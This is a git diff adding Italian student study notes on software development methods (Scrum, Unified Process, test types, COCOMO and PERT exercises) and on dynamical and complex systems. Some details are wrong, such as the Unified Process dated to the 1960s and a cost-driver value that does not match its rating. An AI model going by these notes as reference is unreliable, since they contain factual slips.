+[[Riunione]] di [[scrum]] in cui i membri di team diversi si riuniscono per fare il punto della situazione dello sviluppo di un prodotto complesso.
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/scrum.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/scrum.md
new file mode 100644
index 0000000..81ace57
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/scrum.md	
@@ -0,0 +1,21 @@
+[[Processo di sviluppo software]] che segue la filosofia [[agile]].
+
+## Sprint
+
+Le [[timeboxing|iterazioni]] di *scrum* sono dette *sprint*.
+
+## Riunioni
+
+Scrum incentiva la comunicazione interpersonale introducendo varie riunioni:
+- [[sprint planning]]
+- [[daily scrum]]
+- [[backlog grooming]]
+- [[scrum of scrum]]
+- [[sprint review]]
+- [[Sprint retrospective]]
+
+## Ruoli
+
+Scrum definisce tre ruoli interni al team
+- [[product owner]]
+- [[scrum master]]
\ No newline at end of file
diff --git a/8 - Metodologie di sviluppo software/Processi di sviluppo/unified process.md b/8 - Metodologie di sviluppo software/Processi di sviluppo/unified process.md
new file mode 100644
index 0000000..4aca546
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Processi di sviluppo/unified process.md	
@@ -0,0 +1,21 @@
+---
+aliases: ["UP"]
+---
+
+[[Processo di sviluppo software]] sviluppato nel [[decennio 196X]].
+
+È il primo modello [[modello iterativo]] [[modello incrementale|incrementale]], con una vera e propria [[fase di release]].
+
+## Cicli
+
+Le [[timeboxing|iterazioni]] dell'*unified process* sono dette *cicli*, e si dividono in quattro fasi:
+
+1. ***Inception*** (⅛):
+	- [[fase di specifica]]
+2. ***Elaboration*** (¼):
+	- [[fase di design]]
+3. ***Construction*** (½):
+	- [[fase di implementazione]]
+	- [[fase di testing]]
+4. ***Transition*** (⅛):
+	- [[fase di rilascio]]
diff --git a/8 - Metodologie di sviluppo software/Ruoli professionali/product owner.md b/8 - Metodologie di sviluppo software/Ruoli professionali/product owner.md
new file mode 100644
index 0000000..acb437f
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Ruoli professionali/product owner.md	
@@ -0,0 +1 @@
+Membro del team di sviluppo in [[scrum]] che si pone da intermediario tra il team di sviluppo e le persone coinvolte nel progetto, come l'ideatore, il cliente o il dirigente dell'impresa.
diff --git a/8 - Metodologie di sviluppo software/Ruoli professionali/scrum master.md b/8 - Metodologie di sviluppo software/Ruoli professionali/scrum master.md
new file mode 100644
index 0000000..f00f767
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Ruoli professionali/scrum master.md	
@@ -0,0 +1 @@
+Membro del team di sviluppo in [[scrum]] che aiuta nell'applicazione di esso, aiutando i membri del team ad applicare tecniche di sviluppo [[agile|agili]], programmando il lavoro e risolvendo eventuali problemi presentati nella [[sprint retrospective]].
diff --git a/8 - Metodologie di sviluppo software/Svolgimento esercizi/5 - Project Estimation.md b/8 - Metodologie di sviluppo software/Svolgimento esercizi/5 - Project Estimation.md
new file mode 100644
index 0000000..b3c7894
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Svolgimento esercizi/5 - Project Estimation.md	
@@ -0,0 +1,96 @@
+## Dati
+
+- Progetto di medie dimensioni
+- $60000$ [[non-commenting source statement]]
+	- ($60\ kNCSS$)
+- Requisiti rigidi
+	- Richiede un database
+- Qualsiasi linguaggio di programmazione
+	- Usa un frontend web
+- Esiste già un altro progetto simile
+
+## Esercizio 1 - CoCoMo
+
+### Premessa
+ 
+> Fare una stima di un progetto in questo modo, selezionando parametri arbitrariamente, senza tararli su vecchi progetti fatti dallo stesso gruppo, ***non ha assolutamente senso***!
+>
+> Però è esattamente quello che chiede l'esercizio. *Vai a capire la logica di sta cosa...*
+
+### Considerazioni iniziali
+
+Consideriamo il progetto **semi-detached**, in quanto viene specificato che esso è di medie dimensioni.
+
+### Basic model
+
+
+$$
+K_m = (3.0 \times 60)^{1.12} = 335.7\ person{-}months
+$$
+
+$$
+t_d = (2.5 \times 335.7)^{0.35} = 10.6\ months
+$$
+
+
+### Intermediate model
+
+#### Calcolo iniziale
+
+$$
+K_n = (3.0 \times 60)^{1.12} = 335.7\ person{-}months
+$$
+
+$$
+t_d = (2.5 \times 335.7)^{0.35} = 10.6\ months
+$$
+
+#### Determinazione del coefficiente tramite [[../../cost driver|cost drivers]]
+
+| Cost driver                                              | State       | Value  |
+|--------------------------------------------------------|-------------:|--------|
+| `RELY` · Required software reliability                   | **High**    | $1.15$ |
+| `DATA` · Size of application database                    | **Nominal** | $1.00$ |
+| `CPLX` · Complexity of the product                       | **Nominal** | $1.00$ |
+| `TIME` · Run-time performance constraints                | **High**    | $1.00$ |
+| `STOR` · Storage constraints                             | **Nominal** | $1.00$ |
+| `VIRT` · Volatility of the virtual machine environment   | **Nominal** | $1.00$ |
+| `TURN` · Required turnabout time                         | **Nominal** | $1.00$ |
+| `ACAP` · Analyst capability                              | **Nominal** | $1.00$ |
+| `AEXP` · Applications experience                         | **High**    | $0.91$ |
+| `PCAP` · Software engineering and programming capability | **High**    | $0.86$ |
+| `VEXP` · Virtual machine experience                      | **Nominal** | $1.00$ |
+| `LEXP` · Programming language experience                 | **High**    | $0.95$ |
+| `MODT` · Application of software engineering methods     | **Nominal** | $1.00$ |
+| `TOOL` · Use of software tools                           | **High**    | $0.91$ |
+| `SCED` · Required development schedule                   | **Nominal** | $1.00$ |
+
+$$
+\Pi_{c_i} = 1.15 \times 0.91 \times 0.86 \times 0.95 \times 0.91 = 0.78
+$$
+
+#### Calcolo finale
+
+$$
+K_m = 335.7 \times 0.78 = 261.8\ person{-}months
+$$
+
+## Esercizio 2 - Putnam
+
+> Non si capisce niente e tanto non c'è all'esame, quindi l'ho saltato.
+
+## Esercizio 3 - PERT
+
+| Activity | Precedence | Optimistic $t_o$ | Most likely $t_m$ | Pessimistic $t_p$ |
+|---------:|-----------:|-----------------:|------------------:|------------------:|
+|        A |            |                $2$ |                 $3$ |                 $4$ |
+|        B |            |                $4$ |                 $5$ |                $12$ |
+|        C |          A |                $2$ |                 $2$ |                 $3$ |
+|        D |       B, C |                $3$ |                 $5$ |                 $7$ |
+|        E |          D |                $3$ |                 $3$ |                 $9$ |
+|        F |          E |                $3$ |                 $3$ |                 $3$ |
+|        G |       B, C |                $4$ |                $10$ |                $10$ |
+|        H |       F, G |                $2$ |                 $3$ |                 $4$ |
+
+> Non ho fatto il diagramma e i calcoli per mancanza di tempo e voglia.
+
diff --git a/8 - Metodologie di sviluppo software/Tecniche di sviluppo/pair programming.md b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/pair programming.md
new file mode 100644
index 0000000..c45fee5
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/pair programming.md	
@@ -0,0 +1,11 @@
+Tecnica di sviluppo in cui la [[fase di implementazione]] si svolge a coppie di due persone.
+
+Le due persone coinvolte assumono i ruoli di:
+- ***driver***, la persona che immette il codice nel computer
+- ***navigator***, la persona che controlla quello che il *driver* sta scrivendo e lo corregge
+
+Ci si aspetta che le due persone si scambino frequentemente, idealmente ogni 30 minuti.
+
+## Casi d'uso
+
+È molto efficiente se le due persone che partecipano hanno esperienza simile nell'ambito in cui stanno lavorando, in quanto esse si scambieranno più facilmente conoscenze.
diff --git a/8 - Metodologie di sviluppo software/Tecniche di sviluppo/refactoring.md b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/refactoring.md
new file mode 100644
index 0000000..0bdffb0
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/refactoring.md	
@@ -0,0 +1,3 @@
+Tecnica di sviluppo per la  [[fase di implementazione]] che prevede il miglioramento interno del codice senza intaccare gli [[elemento pubblico|elementi pubblici]] del codice.
+
+Spesso consiste nel realizzare astrazioni per codice ripetuto: si suggerisce di farlo quando il codice viene ripetuto tre o più volte, in modo da non sovrageneralizzare.
diff --git a/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint planning.md b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint planning.md
new file mode 100644
index 0000000..ec38260
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint planning.md	
@@ -0,0 +1 @@
+[[Riunione]] di [[scrum]] in cui si assegna una priorità a ciascuna [[user story]], selezionando quali realizzare nell'[[timeboxing|iterazione]] corrente e aggiornando così il [[product backlog]].
diff --git a/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint retrospective.md b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint retrospective.md
new file mode 100644
index 0000000..80603dd
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint retrospective.md	
@@ -0,0 +1,3 @@
+[[Riunione]] di [[scrum]] che si svolge al termine di uno [[timeboxing|sprint]].
+
+Il team di sviluppo discute internamente dei problemi riscontrati, e di come risolverli nel prossimo [[timeboxing|sprint]].
\ No newline at end of file
diff --git a/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint review.md b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint review.md
new file mode 100644
index 0000000..86a2269
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/sprint review.md	
@@ -0,0 +1,3 @@
+[[Riunione]] di [[scrum]] che si svolge al termine di uno [[timeboxing|sprint]].
+
+Si presenta ciò che si è realizzato, e lo si condivide con tutte le persone coinvolte nel progetto.
diff --git a/8 - Metodologie di sviluppo software/Tecniche di sviluppo/test-driven development.md b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/test-driven development.md
new file mode 100644
index 0000000..080a3b1
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/test-driven development.md	
@@ -0,0 +1 @@
+Tecnica di sviluppo in cui la [[fase di testing]] avviene prima della [[fase di implementazione]], dando così metriche di successo chiare agli sviluppatori.
diff --git a/8 - Metodologie di sviluppo software/Tecniche di sviluppo/timeboxing.md b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/timeboxing.md
new file mode 100644
index 0000000..c83d3af
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Tecniche di sviluppo/timeboxing.md	
@@ -0,0 +1,3 @@
+Tecnica di sviluppo che prevede di imporre un tempo fisso per lo svolgimento di un'attività.
+
+Il tempo fisso selezionato è detto *timebox*.
diff --git a/8 - Metodologie di sviluppo software/Testing/acceptance test.md b/8 - Metodologie di sviluppo software/Testing/acceptance test.md
new file mode 100644
index 0000000..cd245c5
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Testing/acceptance test.md	
@@ -0,0 +1,16 @@
+[[test]] che verifica la soddisfazione di un dato [[requisito]] da parte della [[soluzione]] realizzata.
+
+## Esempio
+
+```python
+from random import randint
+from calculator import add, sub, mul, div
+
+def circonference(radius):
+    return mul(radius, 3.141)
+
+# Requisito: La calcolatrice deve poter calcolare la circonferenza di un cerchio di qualsiasi raggio tra 1 e 100
+def test_circle():
+	for radius in range(100):
+	    assert circonference(radius) == radius * 3.141
+```
diff --git a/8 - Metodologie di sviluppo software/Testing/integration test.md b/8 - Metodologie di sviluppo software/Testing/integration test.md
new file mode 100644
index 0000000..d93ff39
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Testing/integration test.md	
@@ -0,0 +1,20 @@
+---
+aliases: ["sub-system test", "system test", "black box test"]
+---
+
+[[test]] che verifica la corretta connessione (*integrazione*) tra più parti di codice, senza conoscere come esse si comportano internamente (*a scatola chiusa* o *nera*).
+
+#Extra In linguaggi con elementi a [[visibilità]] variabile, solitamente gli integration test possono accedere soltanto agli [[elemento pubblico|elementi pubblici]].
+
+## Esempio
+
+```python
+from calculator.add import add
+from calculator.sub import sub
+from calculator.mul import mul
+from calculator.div import div
+
+def test_calculator():
+    assert add(sub(3, 2), 1) == 2
+    assert mul(2, div(2, 2)) == 2
+```
diff --git a/8 - Metodologie di sviluppo software/Testing/performance test.md b/8 - Metodologie di sviluppo software/Testing/performance test.md
new file mode 100644
index 0000000..98a991d
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Testing/performance test.md	
@@ -0,0 +1,19 @@
+---
+aliases: ["benchmark", "bench"]
+---
+
+[[test]] che misura e verifica l'efficienza della [[soluzione]].
+
+## Esempio
+
+```python
+from time import time_ns
+from .calculator import add
+
+def bench_add_1000():
+	start = time_ns()
+	for i in range(1000):
+		add(i, i)
+	end = time_ns()
+	return end - start
+```
diff --git a/8 - Metodologie di sviluppo software/Testing/regression test.md b/8 - Metodologie di sviluppo software/Testing/regression test.md
new file mode 100644
index 0000000..85fe7ac
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Testing/regression test.md	
@@ -0,0 +1,9 @@
+[[test]] che verifica la corretta risoluzione di un dato [[bug]] o [[errore]], e l'assenza di [[regressione|regressioni]] in versioni future della [[soluzione]].
+
+```
+from calculator import div
+
+# Bugfix: La calcolatrice dava errore quando veniva diviso per zero, ma il cliente voleva che restituisse -1, quindi l'abbiamo sistemato
+def test_zerodiv():
+	assert div(1, 0) == -1
+```
diff --git a/8 - Metodologie di sviluppo software/Testing/test coverage.md b/8 - Metodologie di sviluppo software/Testing/test coverage.md
new file mode 100644
index 0000000..1c6db1c
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Testing/test coverage.md	
@@ -0,0 +1,32 @@
+---
+aliases: ["coverage", "copertura"]
+---
+
+Metrica che consiste nella percentuale di righe di codice attraversate durante l'esecuzione dei [[test]] relative alle righe di codice totali.
+
+## Esempio
+
+```python
+def yes_or_no(b: bool) -> str:
+	if b:
+		return "yes"
+	else:
+		return "no"
+
+def test_yes():
+	assert yes_or_no(True) == "yes"
+```
+
+```diff
+@ La funzione yes_or_no è stata chiamata
++  def yes_or_no(b: bool) -> str:
+@ Il ramo "yes" è stato attraversato
++     if b:
++         return "yes"
+@ Il ramo "no" non è stato attraversato
+-     else:
+-         return "no"
+
+@ Il coverage è del 60% delle righe di codice.
+```
+
diff --git a/8 - Metodologie di sviluppo software/Testing/test.md b/8 - Metodologie di sviluppo software/Testing/test.md
new file mode 100644
index 0000000..ca2142b
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Testing/test.md	
@@ -0,0 +1,15 @@
+[[Procedura]] automatizzabile per verificare la veridicità di un predicato.
+
+Esistono tanti tipi diversi di test in base a ciò che si vuole verificare:
+- ***[[unit test]]***
+- ***[[integration test]]***
+- ***[[acceptance test]]***
+- ***[[regression test]]***
+- ***[[performance test]]***
+
+Incrementare la qualità del software, in quanto permettono di accorgersi velocemente di eventuali comportamenti inaspettati presenti nel codice creato.  
+Non garantiscono però che il software ne sia completamente assente!
+
+#Extra Spesso vengono usate [[pipeline]] che eseguono automaticamente i test su ciascun [[commit]] inviato al [[repository]] centralizzato.
+
+Esistono [[metodologia di sviluppo|metodologie di sviluppo]] che fanno grande utilizzo di test, usando metriche come il [[test coverage]] per determinare il livello di qualità del software, o addirittura [[test-driven development|prioritizzando i test sopra lo sviluppo vero e proprio]] come il [[test-driven development]].
diff --git a/8 - Metodologie di sviluppo software/Testing/unit test.md b/8 - Metodologie di sviluppo software/Testing/unit test.md
new file mode 100644
index 0000000..12b52ef
--- /dev/null
+++ b/8 - Metodologie di sviluppo software/Testing/unit test.md	
@@ -0,0 +1,26 @@
+---
+aliases: ["module test", "white box test"]
+---
+
+[[test]] che verifica il corretto funzionamento di una piccola parte (*unità*) di codice, conoscendo come essa si comporta internamente (*a scatola aperta* o *bianca*).
+
+#Extra In linguaggi con elementi a [[visibilità]] variabile, solitamente gli unit test possono accedere agli [[elemento protetto|elementi protetti]] e [[elemento pubblico|pubblici]].
+
+## Esempio
+
+```python
+def add(a, b):
+    return a + b
+
+def test_add_basic():
+    assert add(1, 2) == 3
+    assert add(10, 20) == 30
+
+def test_add_zero():
+    assert add(1, 0) == 1
+    assert add(0, 0) == 0
+
+def test_add_negative():
+    assert add(-1, -2) == -3
+    assert add(-1, 1) == 0     
+```
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/attrattore.md b/8 - Sistemi complessi/1 - Sistemi dinamici/attrattore.md
new file mode 100644
index 0000000..bbda71e
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/attrattore.md	
@@ -0,0 +1,7 @@
+Insieme di stati che un [[sistema dinamico]] tende a raggiungere.
+
+In un [[sistema lineare]] prende solitamente la forma di un punto o di una spirale la cui destinazione è il centro.
+
+In un [[sistema non-lineare]] può presentarsi anche nella forma di [[attrattore ciclico]] o [[attrattore caotico]].
+
+Opposto del [[repulsore]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/centro.md b/8 - Sistemi complessi/1 - Sistemi dinamici/centro.md
new file mode 100644
index 0000000..0078377
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/centro.md	
@@ -0,0 +1,3 @@
+Insieme di stati con ripetizione periodica in un [[sistema dinamico]].
+
+In un [[sistema lineare]] prendono tipicamente la forma di cerchi concentrici.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/condizione iniziale.md b/8 - Sistemi complessi/1 - Sistemi dinamici/condizione iniziale.md
new file mode 100644
index 0000000..226e78d
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/condizione iniziale.md	
@@ -0,0 +1 @@
+Stato in cui un [[sistema dinamico]] si trova inizialmente.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/convezione di Rayleigh-Bénard.md b/8 - Sistemi complessi/1 - Sistemi dinamici/convezione di Rayleigh-Bénard.md
new file mode 100644
index 0000000..37ac67c
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/convezione di Rayleigh-Bénard.md	
@@ -0,0 +1,19 @@
+Effetto fisico.
+
+Un [[fluido]] riscaldato dal basso e raffreddato dall'alto crea movimenti di [[convezione]] ciclici all'interno di esso.
+
+## In dettaglio
+
+1. Un [[fluido]] a temperatura uniforme è [[stabilità|stabile]].
+2. Il fluido viene riscaldato dal basso.
+3. Il sistema non è più [[macroscopico|macroscopicamente]] in [[equilibrio]].
+4. I seguenti fenomeni [[microscopico|microscopici]] portano alla formazione di fenomeni macroscopici:
+	+ [[feedback positivo]] · **[[convezione]]**: il fluido più caldo è più leggero di quello più freddo, e tende ad andare verso l'alto
+	- [[feedback negativo]] · **[[viscosità]]**: il fluido che cerca di muoversi è ostruito dalla viscosità del fluido di cui cerca di prendere il posto
+	- [[feedback negativo]] · **[[conduzione]]**: il fluido più caldo tende a distribuire il calore alle particelle adiacenti rimanendo fermo
+5. Il [[fluido]] con gradiente di temperatura è [[metastabilità|metastabile]].
+
+#TODO Ma sono veramente feedback? Ciò che li incentiva è fuori dal sistema...
+## Vedi anche
+
+- #Extra [Wikipedia EN: **Rayleigh-Bénard convection**](https://en.wikipedia.org/wiki/Rayleigh%E2%80%93B%C3%A9nard_convection)
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/criticità.md b/8 - Sistemi complessi/1 - Sistemi dinamici/criticità.md
new file mode 100644
index 0000000..4d4f8fe
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/criticità.md	
@@ -0,0 +1,15 @@
+[[Caratteristica]] di alcuni [[sistema dinamico|sistemi dinamici]].
+
+Indica che il [[sistema dinamico]] reagisce alle [[perturbazione|perturbazioni]] applicando [[correzione|correzioni]] verso un [[punto critico]] statisticamente quantificabili con la seguente [[legge di potenza]]:
+$$
+\def \varS {{\color{orangered} s}}
+\Large
+P\left[f(\varS)\right] =
+\frac{A}{\varS^\alpha}
+$$
+
+- $\varS$ è la dimensione della [[perturbazione]]
+- $f(\varS)$ è la dimensione della [[correzione]]
+- $P\left[f(\varS)\right]$ è la probabilità che la [[correzione]] abbia quella dimensione
+- $A$ è costante
+- $\alpha$ è costante
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/effetto Marangoni.md b/8 - Sistemi complessi/1 - Sistemi dinamici/effetto Marangoni.md
new file mode 100644
index 0000000..5143cb2
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/effetto Marangoni.md	
@@ -0,0 +1,14 @@
+---
+aliases:
+  - effetto Gibbs-Marangoni
+  - convezione termocapillare
+  - convezione di Bénard-Marangoni
+---
+
+Effetto fisico.
+
+Cambiamenti di [[tensione superficiale]] in un [[fluido]] portano particelle all'interno di esso ad ordinarsi spontaneamente.
+
+## Vedi anche
+
+- #Extra [Wikipedia EN: **Marangoni effect**](https://en.wikipedia.org/wiki/Marangoni_effect)
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/instabilità.md b/8 - Sistemi complessi/1 - Sistemi dinamici/instabilità.md
new file mode 100644
index 0000000..99f9b25
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/instabilità.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]].
+
+Relativamente ad un [[sistema dinamico]], significa che piccole perturbazioni tendono a fare cambiare stato [[macroscopico]] al sistema.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/legge Gutenberg-Richter.md b/8 - Sistemi complessi/1 - Sistemi dinamici/legge Gutenberg-Richter.md
new file mode 100644
index 0000000..be764e1
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/legge Gutenberg-Richter.md	
@@ -0,0 +1,3 @@
+[[Legge]] [[fisica]] che presenta [[criticità]].
+
+Mette a relazione [[frequenza]] e [[magnitudo]] dei [[terremoto|terremoti]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/legge di potenza.md b/8 - Sistemi complessi/1 - Sistemi dinamici/legge di potenza.md
new file mode 100644
index 0000000..27c7966
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/legge di potenza.md	
@@ -0,0 +1,11 @@
+---
+aliases: ["power law"]
+---
+
+[[Legge]] fisica con la seguente forma:
+$$
+\def \varX {{\color{orangered} x}}
+\Large
+f(\varX) =
+\frac{A}{\varX^\alpha}
+$$
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/metastabilità.md b/8 - Sistemi complessi/1 - Sistemi dinamici/metastabilità.md
new file mode 100644
index 0000000..8ccb6f9
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/metastabilità.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]] derivante dalla [[stabilità]].
+
+Indica la presenza di [[attrattore|attrattori]] [[minimo locale|locali]] nel sistema, che possono essere superati con sufficiente energia.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/numero critico di Rayleigh.md b/8 - Sistemi complessi/1 - Sistemi dinamici/numero critico di Rayleigh.md
new file mode 100644
index 0000000..1d37145
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/numero critico di Rayleigh.md	
@@ -0,0 +1,3 @@
+Valore di un [[sistema complesso|sistema]] in cui si verifica la [[convezione di Rayleigh-Bénard]].
+
+È il [[numero di Rayleigh]] per cui in cui i [[feedback positivo|feedback positivi]] e [[feedback negativo|negativi]] creano un [[instabilità|equilibrio instabile]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/numero di Rayleigh.md b/8 - Sistemi complessi/1 - Sistemi dinamici/numero di Rayleigh.md
new file mode 100644
index 0000000..502969a
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/numero di Rayleigh.md	
@@ -0,0 +1,5 @@
+Valore di un [[sistema complesso|sistema]] in cui si verifica la [[convezione di Rayleigh-Bénard]].
+
+Aggrega in sè tutti i feedback del sistema, permettendo di determinare se all'interno di esso si verificherà prevalentemente:
+- [[feedback positivo]] · **[[convezione]]**
+- [[feedback negativo]] · **[[conduzione]]**
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/potenziale.md b/8 - Sistemi complessi/1 - Sistemi dinamici/potenziale.md
new file mode 100644
index 0000000..6f9edcc
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/potenziale.md	
@@ -0,0 +1,9 @@
+[[Misura]] di quanto manca ad un [[sistema dinamico]] prima di raggiungere l'[[attrattore]] massimo globale.
+
+Definito con la seguente equazione:
+$$
+\def \varX {{\color{pink} x}}
+\def \varV {{\color{purple} v}}
+
+f(\varX) = \frac{d \varX}{d t} = - \frac{d \varV}{d t}
+$$
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/punto critico.md b/8 - Sistemi complessi/1 - Sistemi dinamici/punto critico.md
new file mode 100644
index 0000000..4f88e6a
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/punto critico.md	
@@ -0,0 +1 @@
+[[attrattore]] di un [[sistema dinamico]] che presenta [[criticità]].
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/repulsore.md b/8 - Sistemi complessi/1 - Sistemi dinamici/repulsore.md
new file mode 100644
index 0000000..a95e09c
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/repulsore.md	
@@ -0,0 +1,5 @@
+Insieme di stati che un [[sistema dinamico]] tende a evitare.
+
+In un [[sistema lineare]] prende solitamente la forma di un punto o di una spirale la cui partenza è il centro.
+
+Opposto dell'[[attrattore]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/seconda legge della termodinamica.md b/8 - Sistemi complessi/1 - Sistemi dinamici/seconda legge della termodinamica.md
new file mode 100644
index 0000000..d7a015c
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/seconda legge della termodinamica.md	
@@ -0,0 +1,3 @@
+[[Assioma]] fisico.
+
+Secondo di esso, in qualsiasi [[sistema chiuso]], l'[[entropia fisica]] è un valore sempre non-decrescente.
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/sella.md b/8 - Sistemi complessi/1 - Sistemi dinamici/sella.md
new file mode 100644
index 0000000..d696253
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/sella.md	
@@ -0,0 +1 @@
+Insieme di stati che un **[[sistema lineare]]** tende a raggiungere se approcciati da una direzione ma tende a evitare se approcciati dalla direzione perpendicolare ad essa.
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/sistema dinamico.md b/8 - Sistemi complessi/1 - Sistemi dinamici/sistema dinamico.md
new file mode 100644
index 0000000..5a10094
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/sistema dinamico.md	
@@ -0,0 +1 @@
+[[Modello matematico]] che prova a rappresentare un [[fenomeno]] reale che si evolve nel [[tempo]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/sistema dissipativo.md b/8 - Sistemi complessi/1 - Sistemi dinamici/sistema dissipativo.md
new file mode 100644
index 0000000..7afd281
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/sistema dissipativo.md	
@@ -0,0 +1,3 @@
+[[sistema dinamico]] che perde [[energia]] nel corso del tempo.
+
+Tipicamente, questo avviete attraverso la [[seconda legge della termodinamica]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/sistema lineare.md b/8 - Sistemi complessi/1 - Sistemi dinamici/sistema lineare.md
new file mode 100644
index 0000000..cfcd3ec
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/sistema lineare.md	
@@ -0,0 +1,10 @@
+[[sistema dinamico]].
+
+Rappresentato dalla seguente equazione:
+$$
+\def \varX {{\color{pink} x}}
+\def \varK {{\color{magenta} k}}
+\def \varB {{\color{orange} b}}
+
+f(\varX) = \frac{d \varX}{d t} = \varK \cdot \varX + \varB
+$$
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/spazio di fase.md b/8 - Sistemi complessi/1 - Sistemi dinamici/spazio di fase.md
new file mode 100644
index 0000000..6f09c48
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/spazio di fase.md	
@@ -0,0 +1,6 @@
+[[Insieme]] dei valori che un [[sistema dinamico]] può acquisire nel corso del tempo.
+
+È composto da:
+1. [[condizione iniziale]]
+2. [[traiettoria]]
+3. [[attrattore]] / [[repulsore]] / [[sella]] / [[centro]]
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/stabilità.md b/8 - Sistemi complessi/1 - Sistemi dinamici/stabilità.md
new file mode 100644
index 0000000..b7e61fd
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/stabilità.md	
@@ -0,0 +1,3 @@
+[[Caratteristica]].
+
+Relativamente ad un [[sistema dinamico]], significa che piccole perturbazioni tendono a fare ritornare il sistema allo stesso stato [[macroscopico]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/traiettoria.md b/8 - Sistemi complessi/1 - Sistemi dinamici/traiettoria.md
new file mode 100644
index 0000000..b5417cd
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/traiettoria.md	
@@ -0,0 +1 @@
+Insieme di stati che un [[sistema dinamico]] attraversa.
diff --git a/8 - Sistemi complessi/1 - Sistemi dinamici/veicolo di Braitenberg.md b/8 - Sistemi complessi/1 - Sistemi dinamici/veicolo di Braitenberg.md
new file mode 100644
index 0000000..4d7d0e0
--- /dev/null
+++ b/8 - Sistemi complessi/1 - Sistemi dinamici/veicolo di Braitenberg.md	
@@ -0,0 +1,12 @@
+[[sistema complesso]] elementare.
+
+È un veicolo composto da:
+- due ruote dietro
+- due sensori di illuminazione davanti
+- un circuito che connette sensori a ruote
+
+## Effetto macroscopico
+
+Facendo girare le ruote con la velocità pari all'intensità dell'illuminazione rilevata dal relativo sensore, il veicolo cercherà di girarsi lontano dalla luce.
+
